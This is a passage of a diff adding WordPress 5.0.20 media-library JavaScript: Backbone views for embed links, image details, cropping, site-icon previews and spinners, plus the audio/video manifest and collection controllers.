+ * wp.media.view.EmbedLink
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.Settings
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+EmbedLink = wp.media.view.Settings.extend(/** @lends wp.media.view.EmbedLink.prototype */{
+	className: 'embed-link-settings',
+	template:  wp.template('embed-link-settings'),
+
+	initialize: function() {
+		this.listenTo( this.model, 'change:url', this.updateoEmbed );
+	},
+
+	updateoEmbed: _.debounce( function() {
+		var url = this.model.get( 'url' );
+
+		// clear out previous results
+		this.$('.embed-container').hide().find('.embed-preview').empty();
+		this.$( '.setting' ).hide();
+
+		// only proceed with embed if the field contains more than 11 characters
+		// Example: http://a.io is 11 chars
+		if ( url && ( url.length < 11 || ! url.match(/^http(s)?:\/\//) ) ) {
+			return;
+		}
+
+		this.fetch();
+	}, wp.media.controller.Embed.sensitivity ),
+
+	fetch: function() {
+		var url = this.model.get( 'url' ), re, youTubeEmbedMatch;
+
+		// check if they haven't typed in 500 ms
+		if ( $('#embed-url-field').val() !== url ) {
+			return;
+		}
+
+		if ( this.dfd && 'pending' === this.dfd.state() ) {
+			this.dfd.abort();
+		}
+
+		// Support YouTube embed urls, since they work once in the editor.
+		re = /https?:\/\/www\.youtube\.com\/embed\/([^/]+)/;
+		youTubeEmbedMatch = re.exec( url );
+		if ( youTubeEmbedMatch ) {
+			url = 'https://www.youtube.com/watch?v=' + youTubeEmbedMatch[ 1 ];
+		}
+
+		this.dfd = wp.apiRequest({
+			url: wp.media.view.settings.oEmbedProxyUrl,
+			data: {
+				url: url,
+				maxwidth: this.model.get( 'width' ),
+				maxheight: this.model.get( 'height' )
+			},
+			type: 'GET',
+			dataType: 'json',
+			context: this
+		})
+			.done( function( response ) {
+				this.renderoEmbed( {
+					data: {
+						body: response.html || ''
+					}
+				} );
+			} )
+			.fail( this.renderFail );
+	},
+
+	renderFail: function ( response, status ) {
+		if ( 'abort' === status ) {
+			return;
+		}
+		this.$( '.link-text' ).show();
+	},
+
+	renderoEmbed: function( response ) {
+		var html = ( response && response.data && response.data.body ) || '';
+
+		if ( html ) {
+			this.$('.embed-container').show().find('.embed-preview').html( html );
+		} else {
+			this.renderFail();
+		}
+	}
+});
+
+module.exports = EmbedLink;
+
+
+/***/ }),
+/* 94 */
+/***/ (function(module, exports) {
+
+var AttachmentDisplay = wp.media.view.Settings.AttachmentDisplay,
+	EmbedImage;
+
+/**
+ * wp.media.view.EmbedImage
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.Settings.AttachmentDisplay
+ * @augments wp.media.view.Settings
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+EmbedImage = AttachmentDisplay.extend(/** @lends wp.media.view.EmbedImage.prototype */{
+	className: 'embed-media-settings',
+	template:  wp.template('embed-image-settings'),
+
+	initialize: function() {
+		/**
+		 * Call `initialize` directly on parent class with passed arguments
+		 */
+		AttachmentDisplay.prototype.initialize.apply( this, arguments );
+		this.listenTo( this.model, 'change:url', this.updateImage );
+	},
+
+	updateImage: function() {
+		this.$('img').attr( 'src', this.model.get('url') );
+	}
+});
+
+module.exports = EmbedImage;
+
+
+/***/ }),
+/* 95 */
+/***/ (function(module, exports) {
+
+var AttachmentDisplay = wp.media.view.Settings.AttachmentDisplay,
+	$ = jQuery,
+	ImageDetails;
+
+/**
+ * wp.media.view.ImageDetails
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.Settings.AttachmentDisplay
+ * @augments wp.media.view.Settings
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+ImageDetails = AttachmentDisplay.extend(/** @lends wp.media.view.ImageDetails.prototype */{
+	className: 'image-details',
+	template:  wp.template('image-details'),
+	events: _.defaults( AttachmentDisplay.prototype.events, {
+		'click .edit-attachment': 'editAttachment',
+		'click .replace-attachment': 'replaceAttachment',
+		'click .advanced-toggle': 'onToggleAdvanced',
+		'change [data-setting="customWidth"]': 'onCustomSize',
+		'change [data-setting="customHeight"]': 'onCustomSize',
+		'keyup [data-setting="customWidth"]': 'onCustomSize',
+		'keyup [data-setting="customHeight"]': 'onCustomSize'
+	} ),
+	initialize: function() {
+		// used in AttachmentDisplay.prototype.updateLinkTo
+		this.options.attachment = this.model.attachment;
+		this.listenTo( this.model, 'change:url', this.updateUrl );
+		this.listenTo( this.model, 'change:link', this.toggleLinkSettings );
+		this.listenTo( this.model, 'change:size', this.toggleCustomSize );
+
+		AttachmentDisplay.prototype.initialize.apply( this, arguments );
+	},
+
+	prepare: function() {
+		var attachment = false;
+
+		if ( this.model.attachment ) {
+			attachment = this.model.attachment.toJSON();
+		}
+		return _.defaults({
+			model: this.model.toJSON(),
+			attachment: attachment
+		}, this.options );
+	},
+
+	render: function() {
+		var args = arguments;
+
+		if ( this.model.attachment && 'pending' === this.model.dfd.state() ) {
+			this.model.dfd
+				.done( _.bind( function() {
+					AttachmentDisplay.prototype.render.apply( this, args );
+					this.postRender();
+				}, this ) )
+				.fail( _.bind( function() {
+					this.model.attachment = false;
+					AttachmentDisplay.prototype.render.apply( this, args );
+					this.postRender();
+				}, this ) );
+		} else {
+			AttachmentDisplay.prototype.render.apply( this, arguments );
+			this.postRender();
+		}
+
+		return this;
+	},
+
+	postRender: function() {
+		setTimeout( _.bind( this.resetFocus, this ), 10 );
+		this.toggleLinkSettings();
+		if ( window.getUserSetting( 'advImgDetails' ) === 'show' ) {
+			this.toggleAdvanced( true );
+		}
+		this.trigger( 'post-render' );
+	},
+
+	resetFocus: function() {
+		this.$( '.link-to-custom' ).blur();
+		this.$( '.embed-media-settings' ).scrollTop( 0 );
+	},
+
+	updateUrl: function() {
+		this.$( '.image img' ).attr( 'src', this.model.get( 'url' ) );
+		this.$( '.url' ).val( this.model.get( 'url' ) );
+	},
+
+	toggleLinkSettings: function() {
+		if ( this.model.get( 'link' ) === 'none' ) {
+			this.$( '.link-settings' ).addClass('hidden');
+		} else {
+			this.$( '.link-settings' ).removeClass('hidden');
+		}
+	},
+
+	toggleCustomSize: function() {
+		if ( this.model.get( 'size' ) !== 'custom' ) {
+			this.$( '.custom-size' ).addClass('hidden');
+		} else {
+			this.$( '.custom-size' ).removeClass('hidden');
+		}
+	},
+
+	onCustomSize: function( event ) {
+		var dimension = $( event.target ).data('setting'),
+			num = $( event.target ).val(),
+			value;
+
+		// Ignore bogus input
+		if ( ! /^\d+/.test( num ) || parseInt( num, 10 ) < 1 ) {
+			event.preventDefault();
+			return;
+		}
+
+		if ( dimension === 'customWidth' ) {
+			value = Math.round( 1 / this.model.get( 'aspectRatio' ) * num );
+			this.model.set( 'customHeight', value, { silent: true } );
+			this.$( '[data-setting="customHeight"]' ).val( value );
+		} else {
+			value = Math.round( this.model.get( 'aspectRatio' ) * num );
+			this.model.set( 'customWidth', value, { silent: true  } );
+			this.$( '[data-setting="customWidth"]' ).val( value );
+		}
+	},
+
+	onToggleAdvanced: function( event ) {
+		event.preventDefault();
+		this.toggleAdvanced();
+	},
+
+	toggleAdvanced: function( show ) {
+		var $advanced = this.$el.find( '.advanced-section' ),
+			mode;
+
+		if ( $advanced.hasClass('advanced-visible') || show === false ) {
+			$advanced.removeClass('advanced-visible');
+			$advanced.find('.advanced-settings').addClass('hidden');
+			mode = 'hide';
+		} else {
+			$advanced.addClass('advanced-visible');
+			$advanced.find('.advanced-settings').removeClass('hidden');
+			mode = 'show';
+		}
+
+		window.setUserSetting( 'advImgDetails', mode );
+	},
+
+	editAttachment: function( event ) {
+		var editState = this.controller.states.get( 'edit-image' );
+
+		if ( window.imageEdit && editState ) {
+			event.preventDefault();
+			editState.set( 'image', this.model.attachment );
+			this.controller.setState( 'edit-image' );
+		}
+	},
+
+	replaceAttachment: function( event ) {
+		event.preventDefault();
+		this.controller.setState( 'replace-image' );
+	}
+});
+
+module.exports = ImageDetails;
+
+
+/***/ }),
+/* 96 */
+/***/ (function(module, exports) {
+
+var View = wp.media.View,
+	UploaderStatus = wp.media.view.UploaderStatus,
+	l10n = wp.media.view.l10n,
+	$ = jQuery,
+	Cropper;
+
+/**
+ * wp.media.view.Cropper
+ *
+ * Uses the imgAreaSelect plugin to allow a user to crop an image.
+ *
+ * Takes imgAreaSelect options from
+ * wp.customize.HeaderControl.calculateImageSelectOptions via
+ * wp.customize.HeaderControl.openMM.
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Cropper = View.extend(/** @lends wp.media.view.Cropper.prototype */{
+	className: 'crop-content',
+	template: wp.template('crop-content'),
+	initialize: function() {
+		_.bindAll(this, 'onImageLoad');
+	},
+	ready: function() {
+		this.controller.frame.on('content:error:crop', this.onError, this);
+		this.$image = this.$el.find('.crop-image');
+		this.$image.on('load', this.onImageLoad);
+		$(window).on('resize.cropper', _.debounce(this.onImageLoad, 250));
+	},
+	remove: function() {
+		$(window).off('resize.cropper');
+		this.$el.remove();
+		this.$el.off();
+		View.prototype.remove.apply(this, arguments);
+	},
+	prepare: function() {
+		return {
+			title: l10n.cropYourImage,
+			url: this.options.attachment.get('url')
+		};
+	},
+	onImageLoad: function() {
+		var imgOptions = this.controller.get('imgSelectOptions'),
+			imgSelect;
+
+		if (typeof imgOptions === 'function') {
+			imgOptions = imgOptions(this.options.attachment, this.controller);
+		}
+
+		imgOptions = _.extend(imgOptions, {
+			parent: this.$el,
+			onInit: function() {
+
+				// Store the set ratio.
+				var setRatio = imgSelect.getOptions().aspectRatio;
+
+				// On mousedown, if no ratio is set and the Shift key is down, use a 1:1 ratio.
+				this.parent.children().on( 'mousedown touchstart', function( e ) {
+
+					// If no ratio is set and the shift key is down, use a 1:1 ratio.
+					if ( ! setRatio && e.shiftKey ) {
+						imgSelect.setOptions( {
+							aspectRatio: '1:1'
+						} );
+					}
+				} );
+
+				this.parent.children().on( 'mouseup touchend', function() {
+
+					// Restore the set ratio.
+					imgSelect.setOptions( {
+						aspectRatio: setRatio ? setRatio : false
+					} );
+				} );
+			}
+		} );
+		this.trigger('image-loaded');
+		imgSelect = this.controller.imgSelect = this.$image.imgAreaSelect(imgOptions);
+	},
+	onError: function() {
+		var filename = this.options.attachment.get('filename');
+
+		this.views.add( '.upload-errors', new wp.media.view.UploaderStatusError({
+			filename: UploaderStatus.prototype.filename(filename),
+			message: window._wpMediaViewsL10n.cropError
+		}), { at: 0 });
+	}
+});
+
+module.exports = Cropper;
+
+
+/***/ }),
+/* 97 */
+/***/ (function(module, exports) {
+
+var View = wp.media.view,
+	SiteIconCropper;
+
+/**
+ * wp.media.view.SiteIconCropper
+ *
+ * Uses the imgAreaSelect plugin to allow a user to crop a Site Icon.
+ *
+ * Takes imgAreaSelect options from
+ * wp.customize.SiteIconControl.calculateImageSelectOptions.
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.Cropper
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+SiteIconCropper = View.Cropper.extend(/** @lends wp.media.view.SiteIconCropper.prototype */{
+	className: 'crop-content site-icon',
+
+	ready: function () {
+		View.Cropper.prototype.ready.apply( this, arguments );
+
+		this.$( '.crop-image' ).on( 'load', _.bind( this.addSidebar, this ) );
+	},
+
+	addSidebar: function() {
+		this.sidebar = new wp.media.view.Sidebar({
+			controller: this.controller
+		});
+
+		this.sidebar.set( 'preview', new wp.media.view.SiteIconPreview({
+			controller: this.controller,
+			attachment: this.options.attachment
+		}) );
+
+		this.controller.cropperView.views.add( this.sidebar );
+	}
+});
+
+module.exports = SiteIconCropper;
+
+
+/***/ }),
+/* 98 */
+/***/ (function(module, exports) {
+
+var View = wp.media.View,
+	$ = jQuery,
+	SiteIconPreview;
+
+/**
+ * wp.media.view.SiteIconPreview
+ *
+ * Shows a preview of the Site Icon as a favicon and app icon while cropping.
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+SiteIconPreview = View.extend(/** @lends wp.media.view.SiteIconPreview.prototype */{
+	className: 'site-icon-preview',
+	template: wp.template( 'site-icon-preview' ),
+
+	ready: function() {
+		this.controller.imgSelect.setOptions({
+			onInit: this.updatePreview,
+			onSelectChange: this.updatePreview
+		});
+	},
+
+	prepare: function() {
+		return {
+			url: this.options.attachment.get( 'url' )
+		};
+	},
+
+	updatePreview: function( img, coords ) {
+		var rx = 64 / coords.width,
+			ry = 64 / coords.height,
+			preview_rx = 16 / coords.width,
+			preview_ry = 16 / coords.height;
+
+		$( '#preview-app-icon' ).css({
+			width: Math.round(rx * this.imageWidth ) + 'px',
+			height: Math.round(ry * this.imageHeight ) + 'px',
+			marginLeft: '-' + Math.round(rx * coords.x1) + 'px',
+			marginTop: '-' + Math.round(ry * coords.y1) + 'px'
+		});
+
+		$( '#preview-favicon' ).css({
+			width: Math.round( preview_rx * this.imageWidth ) + 'px',
+			height: Math.round( preview_ry * this.imageHeight ) + 'px',
+			marginLeft: '-' + Math.round( preview_rx * coords.x1 ) + 'px',
+			marginTop: '-' + Math.floor( preview_ry* coords.y1 ) + 'px'
+		});
+	}
+});
+
+module.exports = SiteIconPreview;
+
+
+/***/ }),
+/* 99 */
+/***/ (function(module, exports) {
+
+var View = wp.media.View,
+	EditImage;
+
+/**
+ * wp.media.view.EditImage
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+EditImage = View.extend(/** @lends wp.media.view.EditImage.prototype */{
+	className: 'image-editor',
+	template: wp.template('image-editor'),
+
+	initialize: function( options ) {
+		this.editor = window.imageEdit;
+		this.controller = options.controller;
+		View.prototype.initialize.apply( this, arguments );
+	},
+
+	prepare: function() {
+		return this.model.toJSON();
+	},
+
+	loadEditor: function() {
+		var dfd = this.editor.open( this.model.get('id'), this.model.get('nonces').edit, this );
+		dfd.done( _.bind( this.focus, this ) );
+	},
+
+	focus: function() {
+		this.$( '.imgedit-submit .button' ).eq( 0 ).focus();
+	},
+
+	back: function() {
+		var lastState = this.controller.lastState();
+		this.controller.setState( lastState );
+	},
+
+	refresh: function() {
+		this.model.fetch();
+	},
+
+	save: function() {
+		var lastState = this.controller.lastState();
+
+		this.model.fetch().done( _.bind( function() {
+			this.controller.setState( lastState );
+		}, this ) );
+	}
+
+});
+
+module.exports = EditImage;
+
+
+/***/ }),
+/* 100 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.view.Spinner
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var Spinner = wp.media.View.extend(/** @lends wp.media.view.Spinner.prototype */{
+	tagName:   'span',
+	className: 'spinner',
+	spinnerTimeout: false,
+	delay: 400,
+
+	show: function() {
+		if ( ! this.spinnerTimeout ) {
+			this.spinnerTimeout = _.delay(function( $el ) {
+				$el.addClass( 'is-active' );
+			}, this.delay, this.$el );
+		}
+
+		return this;
+	},
+
+	hide: function() {
+		this.$el.removeClass( 'is-active' );
+		this.spinnerTimeout = clearTimeout( this.spinnerTimeout );
+
+		return this;
+	}
+});
+
+module.exports = Spinner;
+
+
+/***/ })
+/******/ ]));
Index: /tags/5.0.20/src/wp-includes/js/media/audiovideo.manifest.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/audiovideo.manifest.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/audiovideo.manifest.js	(revision 56912)
@@ -0,0 +1,280 @@
+var media = wp.media,
+	baseSettings = window._wpmejsSettings || {},
+	l10n = window._wpMediaViewsL10n || {};
+
+/**
+ *
+ * @summary Defines the wp.media.mixin object.
+ *
+ * @mixin
+ *
+ * @since 4.2.0
+ */
+wp.media.mixin = {
+	mejsSettings: baseSettings,
+
+	/**
+	 * @summary Pauses and removes all players.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @return {void}
+	 */
+	removeAllPlayers: function() {
+		var p;
+
+		if ( window.mejs && window.mejs.players ) {
+			for ( p in window.mejs.players ) {
+				window.mejs.players[p].pause();
+				this.removePlayer( window.mejs.players[p] );
+			}
+		}
+	},
+
+	/**
+	 * @summary Removes the player.
+	 *
+	 * Override the MediaElement method for removing a player.
+	 * MediaElement tries to pull the audio/video tag out of
+	 * its container and re-add it to the DOM.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @return {void}
+	 */
+	removePlayer: function(t) {
+		var featureIndex, feature;
+
+		if ( ! t.options ) {
+			return;
+		}
+
+		// invoke features cleanup
+		for ( featureIndex in t.options.features ) {
+			feature = t.options.features[featureIndex];
+			if ( t['clean' + feature] ) {
+				try {
+					t['clean' + feature](t);
+				} catch (e) {}
+			}
+		}
+
+		if ( ! t.isDynamic ) {
+			t.node.remove();
+		}
+
+		if ( 'html5' !== t.media.rendererName ) {
+			t.media.remove();
+		}
+
+		delete window.mejs.players[t.id];
+
+		t.container.remove();
+		t.globalUnbind('resize', t.globalResizeCallback);
+		t.globalUnbind('keydown', t.globalKeydownCallback);
+		t.globalUnbind('click', t.globalClickCallback);
+		delete t.media.player;
+	},
+
+	/**
+	 *
+	 * @summary Removes and resets all players.
+	 *
+	 * Allows any class that has set 'player' to a MediaElementPlayer
+	 * instance to remove the player when listening to events.
+	 *
+	 * Examples: modal closes, shortcode properties are removed, etc.
+	 *
+	 * @since 4.2.0
+	 */
+	unsetPlayers : function() {
+		if ( this.players && this.players.length ) {
+			_.each( this.players, function (player) {
+				player.pause();
+				wp.media.mixin.removePlayer( player );
+			} );
+			this.players = [];
+		}
+	}
+};
+
+/**
+ * @summary Shortcode modeling for playlists.
+ *
+ * @since 4.2.0
+ */
+wp.media.playlist = new wp.media.collection({
+	tag: 'playlist',
+	editTitle : l10n.editPlaylistTitle,
+	defaults : {
+		id: wp.media.view.settings.post.id,
+		style: 'light',
+		tracklist: true,
+		tracknumbers: true,
+		images: true,
+		artists: true,
+		type: 'audio'
+	}
+});
+
+/**
+ * @summary Shortcode modeling for audio.
+ *
+ * `edit()` prepares the shortcode for the media modal.
+ * `shortcode()` builds the new shortcode after an update.
+ *
+ * @namespace
+ *
+ * @since 4.2.0
+ */
+wp.media.audio = {
+	coerce : wp.media.coerce,
+
+	defaults : {
+		id : wp.media.view.settings.post.id,
+		src : '',
+		loop : false,
+		autoplay : false,
+		preload : 'none',
+		width : 400
+	},
+
+	/**
+	 * @summary Instantiates a new media object with the next matching shortcode.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param {string} data The text to apply the shortcode on.
+	 * @returns {wp.media} The media object.
+	 */
+	edit : function( data ) {
+		var frame, shortcode = wp.shortcode.next( 'audio', data ).shortcode;
+
+		frame = wp.media({
+			frame: 'audio',
+			state: 'audio-details',
+			metadata: _.defaults( shortcode.attrs.named, this.defaults )
+		});
+
+		return frame;
+	},
+
+	/**
+	 * @summary Generates an audio shortcode.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param {Array} model Array with attributes for the shortcode.
+	 * @returns {wp.shortcode} The audio shortcode object.
+	 */
+	shortcode : function( model ) {
+		var content;
+
+		_.each( this.defaults, function( value, key ) {
+			model[ key ] = this.coerce( model, key );
+
+			if ( value === model[ key ] ) {
+				delete model[ key ];
+			}
+		}, this );
+
+		content = model.content;
+		delete model.content;
+
+		return new wp.shortcode({
+			tag: 'audio',
+			attrs: model,
+			content: content
+		});
+	}
+};
+
+/**
+ * @summary Shortcode modeling for video.
+ *
+ *  `edit()` prepares the shortcode for the media modal.
+ *  `shortcode()` builds the new shortcode after update.
+ *
+ * @since 4.2.0
+ *
+ * @namespace
+ */
+wp.media.video = {
+	coerce : wp.media.coerce,
+
+	defaults : {
+		id : wp.media.view.settings.post.id,
+		src : '',
+		poster : '',
+		loop : false,
+		autoplay : false,
+		preload : 'metadata',
+		content : '',
+		width : 640,
+		height : 360
+	},
+
+	/**
+	 * @summary Instantiates a new media object with the next matching shortcode.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param {string} data The text to apply the shortcode on.
+	 * @returns {wp.media} The media object.
+	 */
+	edit : function( data ) {
+		var frame,
+			shortcode = wp.shortcode.next( 'video', data ).shortcode,
+			attrs;
+
+		attrs = shortcode.attrs.named;
+		attrs.content = shortcode.content;
+
+		frame = wp.media({
+			frame: 'video',
+			state: 'video-details',
+			metadata: _.defaults( attrs, this.defaults )
+		});
+
+		return frame;
+	},
+
+	/**
+	 * @summary Generates an video shortcode.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param {Array} model Array with attributes for the shortcode.
+	 * @returns {wp.shortcode} The video shortcode object.
+	 */
+	shortcode : function( model ) {
+		var content;
+
+		_.each( this.defaults, function( value, key ) {
+			model[ key ] = this.coerce( model, key );
+
+			if ( value === model[ key ] ) {
+				delete model[ key ];
+			}
+		}, this );
+
+		content = model.content;
+		delete model.content;
+
+		return new wp.shortcode({
+			tag: 'video',
+			attrs: model,
+			content: content
+		});
+	}
+};
+
+media.model.PostMedia = require( './models/post-media.js' );
+media.controller.AudioDetails = require( './controllers/audio-details.js' );
+media.controller.VideoDetails = require( './controllers/video-details.js' );
+media.view.MediaFrame.MediaDetails = require( './views/frame/media-details.js' );
+media.view.MediaFrame.AudioDetails = require( './views/frame/audio-details.js' );
+media.view.MediaFrame.VideoDetails = require( './views/frame/video-details.js' );
+media.view.MediaDetails = require( './views/media-details.js' );
+media.view.AudioDetails = require( './views/audio-details.js' );
+media.view.VideoDetails = require( './views/video-details.js' );
Index: /tags/5.0.20/src/wp-includes/js/media/controllers/audio-details.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/controllers/audio-details.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/controllers/audio-details.js	(revision 56912)
@@ -0,0 +1,33 @@
+var State = wp.media.controller.State,
+	l10n = wp.media.view.l10n,
+	AudioDetails;
+
+/**
+ * wp.media.controller.AudioDetails
+ *
+ * The controller for the Audio Details state
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ */
+AudioDetails = State.extend(/** @lends wp.media.controller.AudioDetails.prototype */{
+	defaults: {
+		id: 'audio-details',
+		toolbar: 'audio-details',
+		title: l10n.audioDetailsTitle,
+		content: 'audio-details',
+		menu: 'audio-details',
+		router: false,
+		priority: 60
+	},
+
+	initialize: function( options ) {
+		this.media = options.media;
+		State.prototype.initialize.apply( this, arguments );
+	}
+});
+
+module.exports = AudioDetails;
Index: /tags/5.0.20/src/wp-includes/js/media/controllers/collection-add.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/controllers/collection-add.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/controllers/collection-add.js	(revision 56912)
@@ -0,0 +1,101 @@
+var Selection = wp.media.model.Selection,
+	Library = wp.media.controller.Library,
+	CollectionAdd;
+
+/**
+ * wp.media.controller.CollectionAdd
+ *
+ * A state for adding attachments to a collection (e.g. video playlist).
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.Library
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ *
+ * @param {object}                     [attributes]                         The attributes hash passed to the state.
+ * @param {string}                     [attributes.id=library]      Unique identifier.
+ * @param {string}                     attributes.title                    Title for the state. Displays in the frame's title region.
+ * @param {boolean}                    [attributes.multiple=add]            Whether multi-select is enabled. @todo 'add' doesn't seem do anything special, and gets used as a boolean.
+ * @param {wp.media.model.Attachments} [attributes.library]                 The attachments collection to browse.
+ *                                                                          If one is not supplied, a collection of attachments of the specified type will be created.
+ * @param {boolean|string}             [attributes.filterable=uploaded]     Whether the library is filterable, and if so what filters should be shown.
+ *                                                                          Accepts 'all', 'uploaded', or 'unattached'.
+ * @param {string}                     [attributes.menu=gallery]            Initial mode for the menu region.
+ * @param {string}                     [attributes.content=upload]          Initial mode for the content region.
+ *                                                                          Overridden by persistent user setting if 'contentUserSetting' is true.
+ * @param {string}                     [attributes.router=browse]           Initial mode for the router region.
+ * @param {string}                     [attributes.toolbar=gallery-add]     Initial mode for the toolbar region.
+ * @param {boolean}                    [attributes.searchable=true]         Whether the library is searchable.
+ * @param {boolean}                    [attributes.sortable=true]           Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+ * @param {boolean}                    [attributes.autoSelect=true]         Whether an uploaded attachment should be automatically added to the selection.
+ * @param {boolean}                    [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user.
+ * @param {int}                        [attributes.priority=100]            The priority for the state link in the media menu.
+ * @param {boolean}                    [attributes.syncSelection=false]     Whether the Attachments selection should be persisted from the last state.
+ *                                                                          Defaults to false because for this state, because the library of the Edit Gallery state is the selection.
+ * @param {string}                     attributes.type                   The collection's media type. (e.g. 'video').
+ * @param {string}                     attributes.collectionType         The collection type. (e.g. 'playlist').
+ */
+CollectionAdd = Library.extend(/** @lends wp.media.controller.CollectionAdd.prototype */{
+	defaults: _.defaults( {
+		// Selection defaults. @see media.model.Selection
+		multiple:      'add',
+		// Attachments browser defaults. @see media.view.AttachmentsBrowser
+		filterable:    'uploaded',
+
+		priority:      100,
+		syncSelection: false
+	}, Library.prototype.defaults ),
+
+	/**
+	 * @since 3.9.0
+	 */
+	initialize: function() {
+		var collectionType = this.get('collectionType');
+
+		if ( 'video' === this.get( 'type' ) ) {
+			collectionType = 'video-' + collectionType;
+		}
+
+		this.set( 'id', collectionType + '-library' );
+		this.set( 'toolbar', collectionType + '-add' );
+		this.set( 'menu', collectionType );
+
+		// If we haven't been provided a `library`, create a `Selection`.
+		if ( ! this.get('library') ) {
+			this.set( 'library', wp.media.query({ type: this.get('type') }) );
+		}
+		Library.prototype.initialize.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	activate: function() {
+		var library = this.get('library'),
+			editLibrary = this.get('editLibrary'),
+			edit = this.frame.state( this.get('collectionType') + '-edit' ).get('library');
+
+		if ( editLibrary && editLibrary !== edit ) {
+			library.unobserve( editLibrary );
+		}
+
+		// Accepts attachments that exist in the original library and
+		// that do not exist in gallery's library.
+		library.validator = function( attachment ) {
+			return !! this.mirroring.get( attachment.cid ) && ! edit.get( attachment.cid ) && Selection.prototype.validator.apply( this, arguments );
+		};
+
+		// Reset the library to ensure that all attachments are re-added
+		// to the collection. Do so silently, as calling `observe` will
+		// trigger the `reset` event.
+		library.reset( library.mirroring.models, { silent: true });
+		library.observe( edit );
+		this.set('editLibrary', edit);
+
+		Library.prototype.activate.apply( this, arguments );
+	}
+});
+
+module.exports = CollectionAdd;
Index: /tags/5.0.20/src/wp-includes/js/media/controllers/collection-edit.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/controllers/collection-edit.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/controllers/collection-edit.js	(revision 56912)
@@ -0,0 +1,162 @@
+var Library = wp.media.controller.Library,
+	l10n = wp.media.view.l10n,
+	$ = jQuery,
+	CollectionEdit;
+
+/**
+ * wp.media.controller.CollectionEdit
+ *
+ * A state for editing a collection, which is used by audio and video playlists,
+ * and can be used for other collections.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.Library
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ *
+ * @param {object}                     [attributes]                      The attributes hash passed to the state.
+ * @param {string}                     attributes.title                  Title for the state. Displays in the media menu and the frame's title region.
+ * @param {wp.media.model.Attachments} [attributes.library]              The attachments collection to edit.
+ *                                                                       If one is not supplied, an empty media.model.Selection collection is created.
+ * @param {boolean}                    [attributes.multiple=false]       Whether multi-select is enabled.
+ * @param {string}                     [attributes.content=browse]       Initial mode for the content region.
+ * @param {string}                     attributes.menu                   Initial mode for the menu region. @todo this needs a better explanation.
+ * @param {boolean}                    [attributes.searchable=false]     Whether the library is searchable.
+ * @param {boolean}                    [attributes.sortable=true]        Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+ * @param {boolean}                    [attributes.date=true]            Whether to show the date filter in the browser's toolbar.
+ * @param {boolean}                    [attributes.describe=true]        Whether to offer UI to describe the attachments - e.g. captioning images in a gallery.
+ * @param {boolean}                    [attributes.dragInfo=true]        Whether to show instructional text about the attachments being sortable.
+ * @param {boolean}                    [attributes.dragInfoText]         Instructional text about the attachments being sortable.
+ * @param {int}                        [attributes.idealColumnWidth=170] The ideal column width in pixels for attachments.
+ * @param {boolean}                    [attributes.editing=false]        Whether the gallery is being created, or editing an existing instance.
+ * @param {int}                        [attributes.priority=60]          The priority for the state link in the media menu.
+ * @param {boolean}                    [attributes.syncSelection=false]  Whether the Attachments selection should be persisted from the last state.
+ *                                                                       Defaults to false for this state, because the library passed in  *is* the selection.
+ * @param {view}                       [attributes.SettingsView]         The view to edit the collection instance settings (e.g. Playlist settings with "Show tracklist" checkbox).
+ * @param {view}                       [attributes.AttachmentView]       The single `Attachment` view to be used in the `Attachments`.
+ *                                                                       If none supplied, defaults to wp.media.view.Attachment.EditLibrary.
+ * @param {string}                     attributes.type                   The collection's media type. (e.g. 'video').
+ * @param {string}                     attributes.collectionType         The collection type. (e.g. 'playlist').
+ */
+CollectionEdit = Library.extend(/** @lends wp.media.controller.CollectionEdit.prototype */{
+	defaults: {
+		multiple:         false,
+		sortable:         true,
+		date:             false,
+		searchable:       false,
+		content:          'browse',
+		describe:         true,
+		dragInfo:         true,
+		idealColumnWidth: 170,
+		editing:          false,
+		priority:         60,
+		SettingsView:     false,
+		syncSelection:    false
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	initialize: function() {
